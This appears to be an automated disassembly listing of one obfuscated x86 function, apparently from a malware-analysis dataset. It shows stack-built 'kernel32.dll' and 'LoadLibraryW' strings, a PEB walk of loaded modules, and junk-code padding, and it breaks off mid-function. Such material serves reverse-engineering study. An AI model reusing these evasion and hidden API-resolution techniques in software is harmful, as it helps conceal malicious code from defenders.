Function at 0x469b77
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
pop eax
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2e0], eax
jmp 0x469a77
push ecx
call 0x469a87
add byte [ebx + esi + 0x4b], al
inc edx
dec esp
inc esp
inc esp
add esp, 4
call 0x469a99
add byte [edi], bh
xor edi, dword [edi]
xor ecx, dword [ebx + 0x43]
inc ebx
inc ecx
inc ebx
add esp, 4
sub ecx, 0x518f
or ecx, 0x830a
pop ecx
cmp dword [ebp - 0x2e0], 0
jne 0x46a3c2
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push edx
push edx
add esp, 4
call 0x469b63
add byte [edx], bh
dec ecx
cmp bh, byte [esi]
inc ebx
inc ecx
xor eax, 0x4c4833b
pop edx
push esi
call 0x469b77
add byte [eax + 0x4a], dl
cmp dword [edi], esi
xor al, 0x4d
aas
aaa
cmp al, 0x83
les eax, [ecx + eax*4]
into
neg dword [eax]
add dword [eax], eax
pop esi
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push ecx
push ebx
add esp, 4
sub ecx, 0x7ff1
and ecx, 0x13039
call 0x469c24
add byte [ebx + 0x40], cl
inc ecx
cmp dword [esi + 0x41], eax
dec edi
xor eax, 0x4c48339
pop ecx
push ebx
push edx
add esp, 4
jmp 0x469c34
pop ebx
cmp dword [ebp - 0x14dc], 0
jne 0x469c4d
mov dword [ebp - 0x6ec], 0
jmp 0x469f09
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push edi
xor edi, 0x10d63
pop edi
push edx
and edx, 0x533a
add edx, 0xf6a3
and edx, 0xd142
or edx, 0x8122
pop edx
push edi
jmp 0x469c8a
add edi, 0x8dac
pop edi
cmp dword [ebp - 0xc2c], 0
jne 0x469ca9
mov dword [ebp - 0x6ec], 0
jmp 0x469f09
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push eax
push ebx
add esp, 4
and eax, 0xaaf7
add eax, 0x4c55
add eax, 0x5e23
pop eax
push ecx
or ecx, 0x6a98
xor ecx, 0x14132
add ecx, 0x16b8
add ecx, 0x3e9
pop ecx
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push ebx
add ebx, 0x6f6f
call 0x469d28
add byte [0x4d384839], bh
dec esp
inc esi
add esp, 4
add ebx, 0x53e
pop ebx
push esi
or esi, 0xde8e
and esi, 0x11e02
xor esi, 0xaf12
pop esi
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push esi
add esi, 0x10b86
pop esi
push ebx
push esi
add esp, 4
sub ebx, 0x100c1
pop ebx
push eax
push esi
add esp, 4
sub eax, 0x5fb5
add eax, 0x12e5a
add eax, 0x13afb
and eax, 0x5910
pop eax
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x469df5
invalid
mov bh, 0x8d